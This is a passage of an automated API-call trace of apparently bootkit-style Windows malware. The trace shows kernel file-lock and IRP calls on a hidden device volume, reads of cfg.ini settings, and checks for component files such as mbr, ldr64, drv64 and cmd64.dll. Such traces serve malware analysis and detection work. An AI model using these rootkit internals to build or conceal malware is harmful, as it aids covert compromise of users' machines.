FastMutex=0xfffffa80027d3898) [0118.155] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.155] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.155] KeLeaveCriticalRegion () [0118.155] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.155] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.155] KeEnterCriticalRegion () [0118.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.155] ExFreePoolWithTag (P=0xfffffa8003aa6060, Tag=0x0) [0118.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.156] KeLeaveCriticalRegion () [0118.156] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.156] ReleaseMutex (hMutex=0xf0) returned 1 [0118.156] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.156] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.156] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.156] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.156] KeEnterCriticalRegion () [0118.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.156] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.156] IdePortDispatch () returned 0x103 [0118.156] KeWaitForMutexObject () returned 0x0 [0118.156] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.156] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.156] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.156] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.156] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.156] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.156] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.156] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.156] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.156] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.156] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.157] KeLeaveCriticalRegion () [0118.157] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.157] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.157] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.157] KeEnterCriticalRegion () [0118.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.157] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.157] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.157] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.157] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.157] IdePortDispatch () returned 0x103 [0118.157] KeWaitForMutexObject () returned 0x0 [0118.157] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.157] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.157] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.157] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.157] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.157] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.157] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.157] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.157] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.157] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.157] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.158] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.158] KeLeaveCriticalRegion () [0118.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.158] ReleaseMutex (hMutex=0x100) returned 1 [0118.158] Sleep (dwMilliseconds=0x2bf20) [0118.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69a16770, dwHighDateTime=0x1d24fa4)) [0118.166] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.166] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.166] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.166] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.166] KeEnterCriticalRegion () [0118.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.167] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.167] IdePortDispatch () returned 0x103 [0118.167] KeWaitForMutexObject () returned 0x0 [0118.167] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.167] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.167] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.167] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.167] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.167] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039bb820 [0118.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.167] KeLeaveCriticalRegion () [0118.167] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.167] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.167] KeEnterCriticalRegion () [0118.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.167] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.167] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.167] KeLeaveCriticalRegion () [0118.167] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.167] KeEnterCriticalRegion () [0118.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.167] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.167] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.167] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.168] IdePortDispatch () returned 0x103 [0118.168] KeWaitForMutexObject () returned 0x0 [0118.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.168] KeLeaveCriticalRegion () [0118.168] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.168] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.168] KeEnterCriticalRegion () [0118.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.168] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8f000 [0118.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.168] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.168] IdePortDispatch () returned 0x103 [0118.168] KeWaitForMutexObject () returned 0x0 [0118.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.169] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.169] IdePortDispatch () returned 0x103 [0118.169] KeWaitForMutexObject () returned 0x0 [0118.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.169] KeLeaveCriticalRegion () [0118.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.169] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.169] KeEnterCriticalRegion () [0118.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] KeLeaveCriticalRegion () [0118.170] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.170] KeEnterCriticalRegion () [0118.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d7820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] KeLeaveCriticalRegion () [0118.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.170] KeEnterCriticalRegion () [0118.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] ExFreePoolWithTag (P=0xfffffa80039bb820, Tag=0x0) [0118.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] KeLeaveCriticalRegion () [0118.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.170] ReleaseMutex (hMutex=0xf0) returned 1 [0118.170] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.170] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.170] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.170] KeEnterCriticalRegion () [0118.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.170] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.170] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.170] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.170] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.170] IdePortDispatch () returned 0x103 [0118.171] KeWaitForMutexObject () returned 0x0 [0118.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ada7e0 [0118.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.171] KeLeaveCriticalRegion () [0118.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.171] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.171] KeEnterCriticalRegion () [0118.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.171] KeLeaveCriticalRegion () [0118.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.171] KeEnterCriticalRegion () [0118.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.171] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.171] IdePortDispatch () returned 0x103 [0118.172] KeWaitForMutexObject () returned 0x0 [0118.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.172] KeLeaveCriticalRegion () [0118.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.172] KeEnterCriticalRegion () [0118.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c90000 [0118.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.172] IdePortDispatch () returned 0x103 [0118.172] KeWaitForMutexObject () returned 0x0 [0118.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa80039d6bf0 [0118.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80039d6bf0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80039d6bf0) [0118.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.172] IdePortDispatch () returned 0x103 [0118.173] KeWaitForMutexObject () returned 0x0 [0118.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.173] KeLeaveCriticalRegion () [0118.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.173] KeEnterCriticalRegion () [0118.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.173] KeLeaveCriticalRegion () [0118.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.173] KeEnterCriticalRegion () [0118.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.174] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.174] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aae5e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.174] KeLeaveCriticalRegion () [0118.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.174] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.174] KeEnterCriticalRegion () [0118.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.174] ExFreePoolWithTag (P=0xfffffa8003ada7e0, Tag=0x0) [0118.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.174] KeLeaveCriticalRegion () [0118.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.174] ReleaseMutex (hMutex=0xf0) returned 1 [0118.174] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.174] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.174] KeEnterCriticalRegion () [0118.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.174] IdePortDispatch () returned 0x103 [0118.174] KeWaitForMutexObject () returned 0x0 [0118.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.175] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.175] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.175] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.175] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.175] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ad2c40 [0118.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.175] KeLeaveCriticalRegion () [0118.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.175] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.175] KeEnterCriticalRegion () [0118.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.175] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.175] KeLeaveCriticalRegion () [0118.175] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.175] KeEnterCriticalRegion () [0118.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.175] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.175] IdePortDispatch () returned 0x103 [0118.175] KeWaitForMutexObject () returned 0x0 [0118.175] _strnicmp 